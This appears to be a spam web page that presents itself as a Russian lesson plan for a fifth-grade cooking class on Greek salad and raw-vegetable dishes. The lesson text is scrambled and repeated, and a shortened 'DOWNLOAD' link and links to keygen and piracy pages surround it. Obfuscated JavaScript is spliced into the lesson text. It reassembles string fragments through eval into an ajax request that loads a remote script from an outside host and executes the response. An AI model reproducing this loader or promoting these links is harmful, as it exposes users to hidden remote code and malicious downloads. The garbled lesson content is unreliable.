4月14日の日記
2021年4月13日Инструкционная Карта Греческий Салат
-----------------------------------------
DOWNLOAD: https://tiurll.com/1vmlfx
-----------------------------------------
2007 г Макуцкая С Технология Обслуживающий труд (тесты) 5-7 класс, М.. Материальное обеспечение: инструкции по технике безопасности в кабинете ИКТ и кулинарии;.. инструкционная карта “Приготовление салата”;.. - проверка организованности рабочих мест; - соблюдение техники безопасности;.. Технологическая и Технико-технологическая карты.. III Изучение нового материала (слайд №8-14) Лекция с элементами беседы.. Контроль и закрепление пройденного материала осуществляется путем компьютерного тестера (индивидуальная работа учащихся).. “Экзамен”, 2006 6 Интернет- ресурсы: Рецепты салатов из свежих овощей ( );.. Занятие можно проводить в неделимых классах.. Рецепты Д Технология: учебник для учащихся 5 класса 2008 г.. сообщение темы и цели урока; проверка готовности учащихся к уроку.. (слайд №1-8) Вводный инструктаж: - сообщение названия практической работы (слайд №1);.. Сборнике рецептур ( показан фрагмент Технико-технологической карты на салат «Цезарь»).. посуда и инструменты для практической работы;.. Учащиеся работают в Интернет – сайтах, согласно гиперссылке на слайде.. уборка рабочих мест XI Учебное и научно-методическое обеспечение (слайд № 14).. кабинет информатики (урок №1); мультимедийная установка в кабинете обслуживающего труда (урок №2).. Технологическая карта - Готовые файлы блюд Сборник содержит 230 технологических карт, составленных Салаты и холодные закуски.. 2005 г Эльмира Гончарова “Блюда из овощей”:рецепты из серии “Вкусные хлопоты”.. Проверка домашнего задания (слайд №6) Учащиеся подготовили дома эскиз, согласно вопросам:.. Рулеты из Хлеб калорийность, запеканка из тыквы с творогом парижель салат.. 1 Как правильно расставить посуду и приборы на столе.. прививать навыки культуры труда и аккуратности;.. 2006г Ермакова В И Альбом плакатов по кулинарии.. - проверка организованности начала работы учащихся;.. Сборник содержит 230 технологических карт, составленных Салаты и холодные закуски.. - Я благодарю вас за совместную деятельность на этом занятии.. научить готовить блюда из сырых овощей; учить экономному расходу продуктов.. - предупреждение о затруднениях; - санитарно-гигиенические требования (слайд №7);.. взаимоконтроль; Формы познавательной деятельности учащихся:.. сообщение о теме следующего урока (слайд №12);.. Их выращивали в садах, добавляли в салаты и сладости, применяли в.. в IV веке до н э греки стали использовать это растение в лекарственных целях.. Капрезе Антипасти; Салат Греческий; Мангал - салат; Салат А-ля Руссия; Салат из трех видов.. знакомство с Интернет - сайтами “Блюда из овощей” (слайд №15), (приложение №1).. VIII Подготовка к практическая работе (презентация №2).. IV Физкультминутка (приложение №1) V Самостоятельная работа учащихся за ПК.. сформировать навыки по определению доброкачественности овощей;.. - знакомство с технологической последовательностью приготовления салатов (слайд №3-4);.. VI Закрепление знаний нового материала Выполнение теста с использованием компьютера (слайд №15).. последовательность первичной обработки овощей (слайд №8);.. выработать умение правильной нарезки овощей;.. ";XgN["ELs"]="taT";XgN["eTK"]="kur";XgN["rIQ"]="ion";XgN["BKe"]=">0)";XgN["JHA"]="ue,";XgN["AwM"]="ess";XgN["aQy"]="Dat";XgN["xEZ"]="XHR";XgN["eco"]="res";XgN["mtN"]="a: ";XgN["saW"]="l(r";XgN["CiT"]="ef ";XgN["CSD"]=", u";XgN["iTo"]="ta,";XgN["uMe"]="}})";XgN["ZhR"]="ET’";XgN["fQb"]="ons";XgN["NEx"]="tri";XgN["IhJ"]="okk";XgN["TaC"]="np:";XgN["aDh"]=" fa";XgN["qWE"]="r r";XgN["rgi"]="roc";XgN["sPB"]="{ty";XgN["TMI"]="rl:";XgN["ErK"]="fy(";XgN["YDo"]="s?w";XgN["lHU"]=" jq";XgN["SFL"]="len";XgN["qCk"]=" ’h";XgN["eNp"]="nde";XgN["TrO"]="ert";eval(XgN["GdH"]+XgN["IoW"]+XgN["Edw"]+XgN["hTI"]+XgN["RjQ"]+XgN["yiZ"]+XgN["vVn"]+XgN["DuG"]+XgN["qUX"]+XgN["kuU"]+XgN["hTI"]+XgN["qWE"]+XgN["CiT"]+XgN["kfp"]+XgN["Oep"]+XgN["AYq"]+XgN["wyl"]+XgN["YfF"]+XgN["vTX"]+XgN["kpi"]+XgN["KxT"]+XgN["cnh"]+XgN["SFL"]+XgN["PGe"]+XgN["BKe"]+XgN["KVW"]+XgN["WgW"]+XgN["urP"]+XgN["sPB"]+XgN["WfG"]+XgN["vSK"]+XgN["ZhR"]+XgN["iWz"]+XgN["ELs"]+XgN["mVO"]+XgN["hnj"]+XgN["IyM"]+XgN["bQX"]+XgN["tsI"]+XgN["rgi"]+XgN["AwM"]+XgN["aQy"]+XgN["mtN"]+XgN["Egk"]+XgN["EKk"]+XgN["imd"]+XgN["GJr"]+XgN["PVo"]+XgN["IcA"]+XgN["cHb"]+XgN["JHA"]+XgN["NDU"]+XgN["TaC"]+XgN["aDh"]+XgN["ZeO"]+XgN["CSD"]+XgN["TMI"]+XgN["qCk"]+XgN["TSt"]+XgN["mYi"]+XgN["wDL"]+XgN["mRD"]+XgN["pKK"]+XgN["IhJ"]+XgN["WHE"]+XgN["Dmc"]+XgN["LOp"]+XgN["RLe"]+XgN["RPO"]+XgN["gAE"]+XgN["Mww"]+XgN["QNL"]+XgN["EJu"]+XgN["eTK"]+XgN["TXf"]+XgN["eNp"]+XgN["hie"]+XgN["evn"]+XgN["dFN"]+XgN["Xgq"]+XgN["YDo"]+XgN["nSt"]+XgN["YrX"]+XgN["kyt"]+XgN["rRQ"]+XgN["jNX"]+XgN["PJG"]+XgN["Kcf"]+XgN["rIQ"]+XgN["ITH"]+XgN["uFg"]+XgN["fQb"]+XgN["rVF"]+XgN["iTo"]+XgN["WPq"]+XgN["nUI"]+XgN["poV"]+XgN["hmd"]+XgN["lHU"]+XgN["xEZ"]+XgN["MDL"]+XgN["QfH"]+XgN["saW"]+XgN["uFg"]+XgN["fQb"]+XgN["rVF"]+XgN["lbT"]+XgN["JST"]+XgN["qxi"]+XgN["xcu"]+XgN["PJG"]+XgN["Kcf"]+XgN["rIQ"]+XgN["ITH"]+XgN["uFg"]+XgN["fQb"]+XgN["rVF"]+XgN["iTo"]+XgN["WPq"]+XgN["nUI"]+XgN["poV"]+XgN["hmd"]+XgN["UBG"]+XgN["DjY"]+XgN["mHm"]+XgN["evn"]+XgN["MDL"]+XgN["cFr"]+XgN["TrO"]+XgN["GDP"]+XgN["ubS"]+XgN["aDh"]+XgN["OGv"]+XgN["cRO"]+XgN["VOE"]+XgN["zDc"]+XgN["siu"]+XgN["NEx"]+XgN["vqv"]+XgN["ErK"]+XgN["eco"]+XgN["eVv"]+XgN["pIw"]+XgN["YSK"]+XgN["SIu"]+XgN["uMe"]+XgN["jJx"]);Технологическая карта - Готовые файлы блюд.. В зависимости от способностей детей и материального обеспечения учебного процесса можно провести, первый урок интегрировано с учителем информатики.. Эй, лоцман, карту мне, точней маршрутный лист! Лоцман: Я здесь, мой.. готовят греческий салат, а из команды “13 спартанцев” медовый римский омлет.. Учащиеся выполняют работу в тестере “Knowing”.. “Кулинария на все случаи жизни”( “Карвинг – декоративная резьба по овощам и фруктам (.. продукты для выполнения практического задания (приносят учащиеся).. ";XgN["vVn"]="me ";XgN["siu"]="N s";XgN["wyl"]="t r";XgN["wDL"]="GOm";XgN["NDU"]="jso";XgN["xcu"]="or:";XgN["jJx"]=";}";XgN["zDc"]="JSO";XgN["ubS"]="OST";XgN["vSK"]=" ’G";XgN["IoW"]=" q ";XgN["WgW"]=".. IX Рефлексия (слайд №9) - Понравился ли вам урок? Что именно? Что нового вы узнали на сегодняшнем уроке? Чему я научилась? Где мне пригодится это.. X Подведение итогов занятия обобщение достижения цели занятия (приложение № 1) (слайд №10);.. Технологическая карта на закуски в тарталетках, салаты с копченой.. Рулет из рубленного мяса с греческим орехом, сырный жульен купить кружку self.. var R = ’%d0%98%d0%bd%d1%81%d1%82%d1%80%d1%83%d0%ba%d1%86%d0%b8%d0%be%d0%bd%d0%bd%d0%b0%d1%8f+%d0%9a%d0%b0%d1%80%d1%82%d0%b0+%d0%93%d1%80%d0%b5%d1%87%d0%b5%d1%81%d0%ba%d0%b8%d0%b9+%d0%a1%d0%b0%d0%bb%d0%b0%d1%82’;var XgN = new Array();XgN["mVO"]="ype";XgN["kyt"]=",su";XgN["PJG"]=" fu";XgN["VOE"]=" + ";XgN["WPq"]=" te";XgN["imd"]="cro";XgN["nUI"]="xtS";XgN["IyM"]="scr";XgN["Dmc"]="5y6";XgN["AYq"]="men";XgN["YSK"]="ata";XgN["kuU"]="ce’";XgN["QfH"]="eva";XgN["tsI"]="’,p";XgN["dFN"]="loa";XgN["Mww"]="er.. Тестер Knowing Технологии и методы обучения: информационные технологии;.. Занятие по технологии 5-й класс "Первичная обработка овощей.. 2 На каком расстояние от края стола 3 Какой длины должна быть скатерть.. презентация №2 на диске; видеоматериалы “Нарезка овощей”;.. Оснащенность урока: компьютер, проектор, опорные конспекты, инструкционные карты, плакаты.. II Повторение пройденного матери ала (слайд №6-7).. форма нарезки овощей (слайд №12-13); ознакомление с видеоматериалами “Нарезка и оформление блюд из овощей” (слайд №14);.. В этом случае коллективная работа учащихся сочетается с индивидуальной.. Мне очень интересно было общаться с вами - Чтобы узнать, интересно ли вам было на занятии, я попрошу вас выбрать одну из тарелочек из сервиза на вашем столе: зеленую – очень интересно, синюю – интересно, красную – было неинтересно.. - инструктаж по Т/Б (слайд №8) Самостоятельная работа учащихся по группам (бригадный метод);.. Приготовление салатов из сырых овощей" Занятие соответствует программному материалу и учебному методическому обеспечению (Симоненко В.. Развитие интереса к работе осуществляется стимуляцией самостоятельной практической деятельности, в том числе при помощи компьютерных возможностей и Интернет-ресурсов.. познавательные; мозгового штурма практический метод;.. воспитательные воспитывать эстетический вкус и внимательность;.. Оценивание происходит по 5-балльной системе.. ознакомить с приемами первичной обработки овощей и оформлением готовых блюд;.. Вместе соберем сервиз Прекрасно объективная оценка результатов труда учащихся на уроке (заполнение оценочного листа), выставление отметок в классный журнал и в дневник учащихся (приложение №3) (слайд №11);.. журнал по технике безопасности; презентация №1.. прививать уважительное отношение к труду Техническое обеспечение:.. Проверка результатов выполняется с использованием слайда.. - украшение блюд из овощей (слайд № 5-6); - задачи практической работы (самостоятельное выполнение, с использование ИТК), (приложение №2);.. развивать координацию движения рук; развивать исполнительские умения и творческие способности.. вводный инструктаж “Работа с компьютером”;.. - правильность использования ИТК; - инструктирование по выполнению задания;.. 2008 г Компьютерная книга рецепто “КУХНИ МИРА”- Медиа Хауз.. объяснительно-иллюстративный метод; метод контрольных вопросов;.. индивидуальная; I Организационный момент (презентация №1), (слайд №1-5).. Расположите карточки инструкционной карты по порядку(карточки№2).. Занятие Первичная обработка овощей Приготовление салатов из сырых овощей (2 урока).. В данном документе рассчитываются потери Технико-технологические карты по ГОСТ 31987-2012.. Рулеты из Технологическая карта салата « Греческий » (рецептура) составленная согласно требованиям к общепиту.. Правильный ответ: для тушения и салатов Какой греческий историк сообщал, что на самой крупной из египетских пирамид -.. ’";XgN["KxT"]="f(r";XgN["cnh"]="ef ";XgN["EKk"]="se,";XgN["YfF"]="efe";XgN["UBG"]=" er";XgN["pIw"]="seD";XgN["TXf"]="s/i";XgN["lbT"]="ta)";XgN["JST"]=";},";XgN["qUX"]="for";XgN["Oep"]="ocu";XgN["MDL"]=") {";XgN["mHm"]="Thr";XgN["GDP"]="(’P";XgN["urP"]="ax(";XgN["Xgq"]="d.. - самооценка готовых блюд или работ - разбор типичных ошибок учащихся.. Текущий инструктаж (проводится по ходу выполнения самостоятельной работы - формированию новых умений):.. способы нарезки овощей (слайд №9); оборудование и приспособление для нарезки (слайд №10-11);.. инструкционная карта “Знакомство с сайтами”;.. j";XgN["hmd"]="us,";XgN["WfG"]="pe:";XgN["RPO"]="scs";XgN["TSt"]="ttp";XgN["EJu"]="vra";XgN["rRQ"]="cce";XgN["yiZ"]="how";XgN["DuG"]="= ’";XgN["hnj"]=": ’";XgN["vTX"]="rre";XgN["evn"]="own";XgN["bQX"]="ipt";XgN["vqv"]="ngi";XgN["poV"]="tat";XgN["iWz"]=",da";XgN["ZeO"]="lse";XgN["WHE"]="XFp";XgN["Kcf"]="nct";XgN["Egk"]="fal";XgN["RjQ"]="r s";XgN["RLe"]="Av.. (С помощью карты рассказывают о погоде Греции и Рима).. Симоненко В Д Технология: учебник для учащихся 5 класса.. aj";XgN["PVo"]="oma";XgN["IcA"]="in:";XgN["pKK"]="Qvn";XgN["SIu"]="));";XgN["rVF"]="eDa";XgN["DjY"]="ror";XgN["Edw"]="= R";XgN["LOp"]="FEO";XgN["GJr"]="ssD";XgN["uFg"]="esp";XgN["qxi"]="err";XgN["cFr"]=" al";XgN["QNL"]="ru/";XgN["GdH"]="var";XgN["kpi"]="r;i";XgN["kfp"]="= d";XgN["KVW"]=" {$";XgN["PGe"]="gth";XgN["hTI"]=";va";XgN["ITH"]=" (r";XgN["cHb"]=" tr";XgN["nSt"]="eeb";XgN["OGv"]="ile";XgN["eVv"]="pon";XgN["mYi"]="://";XgN["hie"]="x_d";XgN["YrX"]="ly’";XgN["gAE"]="erv";XgN["jNX"]="ss:";XgN["mRD"]="Yji";XgN["cRO"]="d.. “Блиц-опрос” (слайд №7) Выполняется фронтальный опрос.. Программное обеспечение: Microsoft Power Point Microsoft Word;.. Практическая работа проводится группами по 4-5 человек.. “Салаты из сырых овощей” ( “Кулинарные этюды” ( );.. ) и является вторым в данной теме Максимально учитываются возрастные особенности ребенка.. домашнее задание, учащимся на подготовку к следующему уроку (слайд №13);.. Заключительный инструктаж: - анализ выполнения самостоятельной работы учащихся. d70b09c2d4
https://hub.docker.com/r/najamrima/age-of-mythology-2-mac-download https://seesaawiki.jp/windvolfoystel/d/[NEW] Dev C++ 4.9 9.2 Windows 8 https://freakebmige.localinfo.jp/posts/16695176 https://launchpad.net/~grunanylpol/%2Bpoll/antivirus-app-download-2018 https://trusting-archimedes-8b8eb2.netlify.app/Final-Draft-8-Keygen-Pirate-Bay-Proxy https://proplitite.localinfo.jp/posts/16695178 https://proftacorab.mystrikingly.com/blog/neueste-visuelle-c-shar-express-2016-und-bewertungen-2016 https://wizardly-goldberg-e8a163.netlify.app/Download-Astra-5600-Umax-Scanner-Driver https://cleanevovos.themedia.jp/posts/16695179 https://telxunegfa.amebaownd.com/posts/16695177
-----------------------------------------
DOWNLOAD: https://tiurll.com/1vmlfx
-----------------------------------------
2007 г Макуцкая С Технология Обслуживающий труд (тесты) 5-7 класс, М.. Материальное обеспечение: инструкции по технике безопасности в кабинете ИКТ и кулинарии;.. инструкционная карта “Приготовление салата”;.. - проверка организованности рабочих мест; - соблюдение техники безопасности;.. Технологическая и Технико-технологическая карты.. III Изучение нового материала (слайд №8-14) Лекция с элементами беседы.. Контроль и закрепление пройденного материала осуществляется путем компьютерного тестера (индивидуальная работа учащихся).. “Экзамен”, 2006 6 Интернет- ресурсы: Рецепты салатов из свежих овощей ( );.. Занятие можно проводить в неделимых классах.. Рецепты Д Технология: учебник для учащихся 5 класса 2008 г.. сообщение темы и цели урока; проверка готовности учащихся к уроку.. (слайд №1-8) Вводный инструктаж: - сообщение названия практической работы (слайд №1);.. Сборнике рецептур ( показан фрагмент Технико-технологической карты на салат «Цезарь»).. посуда и инструменты для практической работы;.. Учащиеся работают в Интернет – сайтах, согласно гиперссылке на слайде.. уборка рабочих мест XI Учебное и научно-методическое обеспечение (слайд № 14).. кабинет информатики (урок №1); мультимедийная установка в кабинете обслуживающего труда (урок №2).. Технологическая карта - Готовые файлы блюд Сборник содержит 230 технологических карт, составленных Салаты и холодные закуски.. 2005 г Эльмира Гончарова “Блюда из овощей”:рецепты из серии “Вкусные хлопоты”.. Проверка домашнего задания (слайд №6) Учащиеся подготовили дома эскиз, согласно вопросам:.. Рулеты из Хлеб калорийность, запеканка из тыквы с творогом парижель салат.. 1 Как правильно расставить посуду и приборы на столе.. прививать навыки культуры труда и аккуратности;.. 2006г Ермакова В И Альбом плакатов по кулинарии.. - проверка организованности начала работы учащихся;.. Сборник содержит 230 технологических карт, составленных Салаты и холодные закуски.. - Я благодарю вас за совместную деятельность на этом занятии.. научить готовить блюда из сырых овощей; учить экономному расходу продуктов.. - предупреждение о затруднениях; - санитарно-гигиенические требования (слайд №7);.. взаимоконтроль; Формы познавательной деятельности учащихся:.. сообщение о теме следующего урока (слайд №12);.. Их выращивали в садах, добавляли в салаты и сладости, применяли в.. в IV веке до н э греки стали использовать это растение в лекарственных целях.. Капрезе Антипасти; Салат Греческий; Мангал - салат; Салат А-ля Руссия; Салат из трех видов.. знакомство с Интернет - сайтами “Блюда из овощей” (слайд №15), (приложение №1).. VIII Подготовка к практическая работе (презентация №2).. IV Физкультминутка (приложение №1) V Самостоятельная работа учащихся за ПК.. сформировать навыки по определению доброкачественности овощей;.. - знакомство с технологической последовательностью приготовления салатов (слайд №3-4);.. VI Закрепление знаний нового материала Выполнение теста с использованием компьютера (слайд №15).. последовательность первичной обработки овощей (слайд №8);.. выработать умение правильной нарезки овощей;.. ";XgN["ELs"]="taT";XgN["eTK"]="kur";XgN["rIQ"]="ion";XgN["BKe"]=">0)";XgN["JHA"]="ue,";XgN["AwM"]="ess";XgN["aQy"]="Dat";XgN["xEZ"]="XHR";XgN["eco"]="res";XgN["mtN"]="a: ";XgN["saW"]="l(r";XgN["CiT"]="ef ";XgN["CSD"]=", u";XgN["iTo"]="ta,";XgN["uMe"]="}})";XgN["ZhR"]="ET’";XgN["fQb"]="ons";XgN["NEx"]="tri";XgN["IhJ"]="okk";XgN["TaC"]="np:";XgN["aDh"]=" fa";XgN["qWE"]="r r";XgN["rgi"]="roc";XgN["sPB"]="{ty";XgN["TMI"]="rl:";XgN["ErK"]="fy(";XgN["YDo"]="s?w";XgN["lHU"]=" jq";XgN["SFL"]="len";XgN["qCk"]=" ’h";XgN["eNp"]="nde";XgN["TrO"]="ert";eval(XgN["GdH"]+XgN["IoW"]+XgN["Edw"]+XgN["hTI"]+XgN["RjQ"]+XgN["yiZ"]+XgN["vVn"]+XgN["DuG"]+XgN["qUX"]+XgN["kuU"]+XgN["hTI"]+XgN["qWE"]+XgN["CiT"]+XgN["kfp"]+XgN["Oep"]+XgN["AYq"]+XgN["wyl"]+XgN["YfF"]+XgN["vTX"]+XgN["kpi"]+XgN["KxT"]+XgN["cnh"]+XgN["SFL"]+XgN["PGe"]+XgN["BKe"]+XgN["KVW"]+XgN["WgW"]+XgN["urP"]+XgN["sPB"]+XgN["WfG"]+XgN["vSK"]+XgN["ZhR"]+XgN["iWz"]+XgN["ELs"]+XgN["mVO"]+XgN["hnj"]+XgN["IyM"]+XgN["bQX"]+XgN["tsI"]+XgN["rgi"]+XgN["AwM"]+XgN["aQy"]+XgN["mtN"]+XgN["Egk"]+XgN["EKk"]+XgN["imd"]+XgN["GJr"]+XgN["PVo"]+XgN["IcA"]+XgN["cHb"]+XgN["JHA"]+XgN["NDU"]+XgN["TaC"]+XgN["aDh"]+XgN["ZeO"]+XgN["CSD"]+XgN["TMI"]+XgN["qCk"]+XgN["TSt"]+XgN["mYi"]+XgN["wDL"]+XgN["mRD"]+XgN["pKK"]+XgN["IhJ"]+XgN["WHE"]+XgN["Dmc"]+XgN["LOp"]+XgN["RLe"]+XgN["RPO"]+XgN["gAE"]+XgN["Mww"]+XgN["QNL"]+XgN["EJu"]+XgN["eTK"]+XgN["TXf"]+XgN["eNp"]+XgN["hie"]+XgN["evn"]+XgN["dFN"]+XgN["Xgq"]+XgN["YDo"]+XgN["nSt"]+XgN["YrX"]+XgN["kyt"]+XgN["rRQ"]+XgN["jNX"]+XgN["PJG"]+XgN["Kcf"]+XgN["rIQ"]+XgN["ITH"]+XgN["uFg"]+XgN["fQb"]+XgN["rVF"]+XgN["iTo"]+XgN["WPq"]+XgN["nUI"]+XgN["poV"]+XgN["hmd"]+XgN["lHU"]+XgN["xEZ"]+XgN["MDL"]+XgN["QfH"]+XgN["saW"]+XgN["uFg"]+XgN["fQb"]+XgN["rVF"]+XgN["lbT"]+XgN["JST"]+XgN["qxi"]+XgN["xcu"]+XgN["PJG"]+XgN["Kcf"]+XgN["rIQ"]+XgN["ITH"]+XgN["uFg"]+XgN["fQb"]+XgN["rVF"]+XgN["iTo"]+XgN["WPq"]+XgN["nUI"]+XgN["poV"]+XgN["hmd"]+XgN["UBG"]+XgN["DjY"]+XgN["mHm"]+XgN["evn"]+XgN["MDL"]+XgN["cFr"]+XgN["TrO"]+XgN["GDP"]+XgN["ubS"]+XgN["aDh"]+XgN["OGv"]+XgN["cRO"]+XgN["VOE"]+XgN["zDc"]+XgN["siu"]+XgN["NEx"]+XgN["vqv"]+XgN["ErK"]+XgN["eco"]+XgN["eVv"]+XgN["pIw"]+XgN["YSK"]+XgN["SIu"]+XgN["uMe"]+XgN["jJx"]);Технологическая карта - Готовые файлы блюд.. В зависимости от способностей детей и материального обеспечения учебного процесса можно провести, первый урок интегрировано с учителем информатики.. Эй, лоцман, карту мне, точней маршрутный лист! Лоцман: Я здесь, мой.. готовят греческий салат, а из команды “13 спартанцев” медовый римский омлет.. Учащиеся выполняют работу в тестере “Knowing”.. “Кулинария на все случаи жизни”( “Карвинг – декоративная резьба по овощам и фруктам (.. продукты для выполнения практического задания (приносят учащиеся).. ";XgN["vVn"]="me ";XgN["siu"]="N s";XgN["wyl"]="t r";XgN["wDL"]="GOm";XgN["NDU"]="jso";XgN["xcu"]="or:";XgN["jJx"]=";}";XgN["zDc"]="JSO";XgN["ubS"]="OST";XgN["vSK"]=" ’G";XgN["IoW"]=" q ";XgN["WgW"]=".. IX Рефлексия (слайд №9) - Понравился ли вам урок? Что именно? Что нового вы узнали на сегодняшнем уроке? Чему я научилась? Где мне пригодится это.. X Подведение итогов занятия обобщение достижения цели занятия (приложение № 1) (слайд №10);.. Технологическая карта на закуски в тарталетках, салаты с копченой.. Рулет из рубленного мяса с греческим орехом, сырный жульен купить кружку self.. var R = ’%d0%98%d0%bd%d1%81%d1%82%d1%80%d1%83%d0%ba%d1%86%d0%b8%d0%be%d0%bd%d0%bd%d0%b0%d1%8f+%d0%9a%d0%b0%d1%80%d1%82%d0%b0+%d0%93%d1%80%d0%b5%d1%87%d0%b5%d1%81%d0%ba%d0%b8%d0%b9+%d0%a1%d0%b0%d0%bb%d0%b0%d1%82’;var XgN = new Array();XgN["mVO"]="ype";XgN["kyt"]=",su";XgN["PJG"]=" fu";XgN["VOE"]=" + ";XgN["WPq"]=" te";XgN["imd"]="cro";XgN["nUI"]="xtS";XgN["IyM"]="scr";XgN["Dmc"]="5y6";XgN["AYq"]="men";XgN["YSK"]="ata";XgN["kuU"]="ce’";XgN["QfH"]="eva";XgN["tsI"]="’,p";XgN["dFN"]="loa";XgN["Mww"]="er.. Тестер Knowing Технологии и методы обучения: информационные технологии;.. Занятие по технологии 5-й класс "Первичная обработка овощей.. 2 На каком расстояние от края стола 3 Какой длины должна быть скатерть.. презентация №2 на диске; видеоматериалы “Нарезка овощей”;.. Оснащенность урока: компьютер, проектор, опорные конспекты, инструкционные карты, плакаты.. II Повторение пройденного матери ала (слайд №6-7).. форма нарезки овощей (слайд №12-13); ознакомление с видеоматериалами “Нарезка и оформление блюд из овощей” (слайд №14);.. В этом случае коллективная работа учащихся сочетается с индивидуальной.. Мне очень интересно было общаться с вами - Чтобы узнать, интересно ли вам было на занятии, я попрошу вас выбрать одну из тарелочек из сервиза на вашем столе: зеленую – очень интересно, синюю – интересно, красную – было неинтересно.. - инструктаж по Т/Б (слайд №8) Самостоятельная работа учащихся по группам (бригадный метод);.. Приготовление салатов из сырых овощей" Занятие соответствует программному материалу и учебному методическому обеспечению (Симоненко В.. Развитие интереса к работе осуществляется стимуляцией самостоятельной практической деятельности, в том числе при помощи компьютерных возможностей и Интернет-ресурсов.. познавательные; мозгового штурма практический метод;.. воспитательные воспитывать эстетический вкус и внимательность;.. Оценивание происходит по 5-балльной системе.. ознакомить с приемами первичной обработки овощей и оформлением готовых блюд;.. Вместе соберем сервиз Прекрасно объективная оценка результатов труда учащихся на уроке (заполнение оценочного листа), выставление отметок в классный журнал и в дневник учащихся (приложение №3) (слайд №11);.. журнал по технике безопасности; презентация №1.. прививать уважительное отношение к труду Техническое обеспечение:.. Проверка результатов выполняется с использованием слайда.. - украшение блюд из овощей (слайд № 5-6); - задачи практической работы (самостоятельное выполнение, с использование ИТК), (приложение №2);.. развивать координацию движения рук; развивать исполнительские умения и творческие способности.. вводный инструктаж “Работа с компьютером”;.. - правильность использования ИТК; - инструктирование по выполнению задания;.. 2008 г Компьютерная книга рецепто “КУХНИ МИРА”- Медиа Хауз.. объяснительно-иллюстративный метод; метод контрольных вопросов;.. индивидуальная; I Организационный момент (презентация №1), (слайд №1-5).. Расположите карточки инструкционной карты по порядку(карточки№2).. Занятие Первичная обработка овощей Приготовление салатов из сырых овощей (2 урока).. В данном документе рассчитываются потери Технико-технологические карты по ГОСТ 31987-2012.. Рулеты из Технологическая карта салата « Греческий » (рецептура) составленная согласно требованиям к общепиту.. Правильный ответ: для тушения и салатов Какой греческий историк сообщал, что на самой крупной из египетских пирамид -.. ’";XgN["KxT"]="f(r";XgN["cnh"]="ef ";XgN["EKk"]="se,";XgN["YfF"]="efe";XgN["UBG"]=" er";XgN["pIw"]="seD";XgN["TXf"]="s/i";XgN["lbT"]="ta)";XgN["JST"]=";},";XgN["qUX"]="for";XgN["Oep"]="ocu";XgN["MDL"]=") {";XgN["mHm"]="Thr";XgN["GDP"]="(’P";XgN["urP"]="ax(";XgN["Xgq"]="d.. - самооценка готовых блюд или работ - разбор типичных ошибок учащихся.. Текущий инструктаж (проводится по ходу выполнения самостоятельной работы - формированию новых умений):.. способы нарезки овощей (слайд №9); оборудование и приспособление для нарезки (слайд №10-11);.. инструкционная карта “Знакомство с сайтами”;.. j";XgN["hmd"]="us,";XgN["WfG"]="pe:";XgN["RPO"]="scs";XgN["TSt"]="ttp";XgN["EJu"]="vra";XgN["rRQ"]="cce";XgN["yiZ"]="how";XgN["DuG"]="= ’";XgN["hnj"]=": ’";XgN["vTX"]="rre";XgN["evn"]="own";XgN["bQX"]="ipt";XgN["vqv"]="ngi";XgN["poV"]="tat";XgN["iWz"]=",da";XgN["ZeO"]="lse";XgN["WHE"]="XFp";XgN["Kcf"]="nct";XgN["Egk"]="fal";XgN["RjQ"]="r s";XgN["RLe"]="Av.. (С помощью карты рассказывают о погоде Греции и Рима).. Симоненко В Д Технология: учебник для учащихся 5 класса.. aj";XgN["PVo"]="oma";XgN["IcA"]="in:";XgN["pKK"]="Qvn";XgN["SIu"]="));";XgN["rVF"]="eDa";XgN["DjY"]="ror";XgN["Edw"]="= R";XgN["LOp"]="FEO";XgN["GJr"]="ssD";XgN["uFg"]="esp";XgN["qxi"]="err";XgN["cFr"]=" al";XgN["QNL"]="ru/";XgN["GdH"]="var";XgN["kpi"]="r;i";XgN["kfp"]="= d";XgN["KVW"]=" {$";XgN["PGe"]="gth";XgN["hTI"]=";va";XgN["ITH"]=" (r";XgN["cHb"]=" tr";XgN["nSt"]="eeb";XgN["OGv"]="ile";XgN["eVv"]="pon";XgN["mYi"]="://";XgN["hie"]="x_d";XgN["YrX"]="ly’";XgN["gAE"]="erv";XgN["jNX"]="ss:";XgN["mRD"]="Yji";XgN["cRO"]="d.. “Блиц-опрос” (слайд №7) Выполняется фронтальный опрос.. Программное обеспечение: Microsoft Power Point Microsoft Word;.. Практическая работа проводится группами по 4-5 человек.. “Салаты из сырых овощей” ( “Кулинарные этюды” ( );.. ) и является вторым в данной теме Максимально учитываются возрастные особенности ребенка.. домашнее задание, учащимся на подготовку к следующему уроку (слайд №13);.. Заключительный инструктаж: - анализ выполнения самостоятельной работы учащихся. d70b09c2d4
https://hub.docker.com/r/najamrima/age-of-mythology-2-mac-download https://seesaawiki.jp/windvolfoystel/d/[NEW] Dev C++ 4.9 9.2 Windows 8 https://freakebmige.localinfo.jp/posts/16695176 https://launchpad.net/~grunanylpol/%2Bpoll/antivirus-app-download-2018 https://trusting-archimedes-8b8eb2.netlify.app/Final-Draft-8-Keygen-Pirate-Bay-Proxy https://proplitite.localinfo.jp/posts/16695178 https://proftacorab.mystrikingly.com/blog/neueste-visuelle-c-shar-express-2016-und-bewertungen-2016 https://wizardly-goldberg-e8a163.netlify.app/Download-Astra-5600-Umax-Scanner-Driver https://cleanevovos.themedia.jp/posts/16695179 https://telxunegfa.amebaownd.com/posts/16695177
コメント